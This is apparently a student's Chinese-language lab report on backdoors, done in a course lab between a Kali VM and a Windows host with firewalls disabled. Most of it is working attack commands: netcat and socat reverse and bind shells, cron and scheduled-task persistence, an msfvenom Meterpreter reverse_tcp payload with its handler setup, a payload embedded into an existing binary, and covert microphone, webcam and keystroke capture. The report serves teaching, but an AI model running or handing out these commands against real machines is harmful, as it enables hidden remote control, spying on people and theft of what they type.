实验二 后门原理与实践
实验二 后门原理与实践
一.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:通过非正规下载途径下载软件,很容易下载被病毒感染的程序下载木马而导致自己的计算机存在后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:windows下的开机自启动技术、定时任务、伪装成其他软件诱导用户点击、木马化正常软件。
(3)Meterpreter有哪些给你映像深刻的功能?
答:可以偷偷开启被控制主机的摄像头进行偷拍,获取被控制主机的音频等。
(4)如何发现自己有系统有没有被安装后门?
答:使用安全可靠系数高的杀毒软件进行定时的查杀。
二.实验内容
首先根据其他同学遇到的问题,我们需要在关闭kali和主机的防火墙的情况下完成整个实验
通过下载安装ufw这一软件我们成功关闭了kali的防火墙,同时我们关闭windows的防火墙,在此基础上我们可以进行下一步的实验。
(一)使用netcat获取主机操作Shell,启动cron
kali获取windows的shell
首先在Kali终端输入ifconfig查找IP地址
在kali中输入nc -l -p 12150
监听12150端口
windows在cmd中输入ncat.exe -e cmd.exe 172.16.214.218 12150
反弹连接kali
这时我们回到kali就可以看到windows的命令提示
Windows获取Kali的shell
首先在windows下输入ipconfig查询windows的ip为172.16.213.122
windows在ncat文件夹中输入ncat.exe -l -p 12150
开始监听
kali输入nc 172.16.213.122 12150 -e /bin/sh
反弹连接win
此时回到windows,可以发现打开了kali的shell,可以正常输入命令
在虚拟机中启动cron并在主机监听
首先在虚拟机上用crontab -e
指令编辑一条定时任务,输入2表示选择vim编辑器
在最后一行添加10 * * * * nc 192.168.199.162 12150 -e /bin/sh
,即在每个小时的第10分钟反向连接Windows主机的12150端口
在每个小时的第10分钟,在主机输入ncat.exe -l -p 12150打开监听即可
可以在主机获取kali的shell
也可以通过输入nc -l -p 12150 -e /bin/sh
使得主机可以随时通过nc 主机ip 12150
获得虚拟机的shell
(二)使用socat获取主机操作Shell,任务计划启动
在Windows中按Win+R
,再输入compmgmt.msc
打开计算机管理
在系统工具中的任务计划程序中创建任务
设置任务名称
设置一个触发器
在新建操作前我们下载一个socat,并且解压使用。
此时我们新建操作,操作设置为启动程序socat.exe
,并添加参数tcp-listen:12150 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口12150,同时把cmd.exe的stderr重定向
设置好后我们按下Win+L
将电脑锁屏,此时应该这一操作被应用,由于我在实验前关闭了防火墙,所以此时没有警告,我们去kali中检验一下是否成功应用
在Kali中输入命令socat - tcp:192.168.199.162:12150
我们可以看到调用出来了windows的shell,证明我们的操作成功了
(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上生成后门可执行程序20191215_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=1215 -f exe > 20191215_backdoor.exe
在windows上打开监听
在Kali上用nc 192.168.199.162 1215 < 20191215_backdoor.exe
将生成的20191215_backdoor.exe
后门程序传过去
在kali上使用msfconsole
指令进入msf控制台
对msf控制台进行配置
依次输入以下命令
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.199.239 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1215
接着输入exploit
进行监听,在Windows在打开20191215_backdoor.exe
后成功获取到Windows的shell
(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取目标主机音频
在之前进入的MSF exploit中输入record_mic
指令进行录音
获取目标主机摄像头
输入webcam_snap
指令控制摄像头进行拍照
这里由于我将我电脑的摄像头关闭了,所以没有图像
run webcam
可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件
获取击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录
(五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
参考同学的资料我们找到指令
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
-
在参数说明中提到,
-p
使用的为有效载荷,由于我们是在x86下的linux系统,所以要改为linux/x86/meterpreter/reverse_tcp
。 -
-x
是可执行文件模板,shellcode会写入这个可执行文件中 -
LHOST
、LPORT
是ip地址和端口,我们把它改为172.16.214.218
和12150
-
-f
是生成文件的类型,我们把它改为二进制可执行文件elf
所以最后的payload为
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.214.218 LPORT=12150 -x pwn1 -f elf > 20191215pwn
输入msfconsole
进入MSF控制台,保持对应配置和之前相同
再在msf
中使用exploit
监听
在另一终端中将运行20191215pwn
执行但是遇到了这个问题,我也了解我的附加题可能方法不对,我将向其他同学请教努力把这个题目做出来。
实验感想:
此次实验是目前为止我所遇到的最为有趣也是我最有兴趣的一次实验,因为这一次实验让我觉得我可以像我想象中的黑客一样对别人的电脑远程操纵,即使是在各种保护措施都关闭的情况下完成的,我也觉得成就感非凡。同时我也意识到平时在使用电脑的过程中我们的安全意识不容忽视,首先是避免各种不明来源的文件下载到自己的电脑中,其次是需要在电脑运行的过程中由于后门的存在可以调用许多程序,例如摄像头、电脑音频、击键记录、截屏等,而且这些都会在不知不觉中完成个人信息的窃取,我们需要增强对个人信息的保护以及重视程度。而且我也通过附加题意识到我所学习到的东西是表层的片面的,我还需要更多的学习以及提高自己的编程能力等才会在遇到这种问题的时候不至于不知道从何下手。